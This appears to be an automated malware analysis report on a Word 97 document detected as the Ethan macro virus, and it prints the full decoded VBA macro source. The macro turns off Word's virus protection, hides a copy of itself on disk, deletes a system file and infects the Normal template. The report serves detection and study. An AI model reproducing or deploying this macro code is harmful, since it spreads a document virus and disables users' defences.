Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e9d9382f6a769837…

MALICIOUS

Office (OLE)

28.5 KB Created: 1997-04-26 16:26:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 907643edd5a31ef03da33d6b9f0e7d56 SHA-1: f6ed21005144e3c00c936731b5d226c48fe2a465 SHA-256: e9d9382f6a7698378eb0e0c3d09cff5a012c867c9b5c7a8d5aaf22387f8cae93
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is identified as malicious by ClamAV with multiple signatures, indicating a known malware variant. The embedded VBA macro attempts to copy its own code to 'c:\grover.___' and includes logic that suggests an intent to establish persistence or facilitate further execution, although the exact mechanism is obfuscated. The macro also attempts to disable virus protection and modify document properties.

Heuristics 2

  • ClamAV: Doc.Trojan.Ethan-20 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Ethan-20
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1965 bytes
SHA-256: 944c88cdd66d8b5319bc02277433e2bd9a6afe7334105cd2141d06fb9b6b6f7c
Detection
ClamAV: Doc.Trojan.Ethan-11
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
' Sorry Mr Ethan Frome...
' But thanks anyway...
On Error Resume Next
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
Application.EnableCancelKey = Not -1

If Dir("c:\grover.___", 6) = "" Then
  Open "c:\grover.___" For Output As #1
  For i = 1 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
    a = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1)
    Print #1, a
  Next i
  Close #1
  SetAttr "c:\grover.___", 6
End If

If Dir("c:\class.sys") <> "" Then Kill "c:\class.sys"

If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
  Set t = NormalTemplate.VBProject.VBComponents.Item(1)
ElseIf ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
  Set t = ActiveDocument.VBProject.VBComponents.Item(1)
Else
  t = ""
End If

If t <> "" Then
  Open "c:\grover.___" For Input As #1
  If LOF(1) = 0 Then GoTo q
  i = 1
  Do While Not EOF(1)
    Line Input #1, a
    t.CodeModule.InsertLines i, a
    i = i + 1
  Loop
q:
  Close #1
  Kill "c:\grover.___"
End If
End Sub

Private Sub Document_New()
ActiveDocument.Content.LanguageID = wdNoProofing
ActiveDocument.Content.ParagraphFormat.Alignment = wdAlignParagraphCenter
ActiveDocument.Content.Font.NameAscii = "Arial"
ActiveDocument.Content.Font.Animation = wdAnimationShimmer
ActiveDocument.Content.Font.Bold = True
ActiveDocument.Content.Font.Size = 24
ActiveDocument.Content.Text = ActiveDocument.Content.Text + "Super Grover"
ActiveDocument.Content.LanguageID = wdEnglishUK
End Sub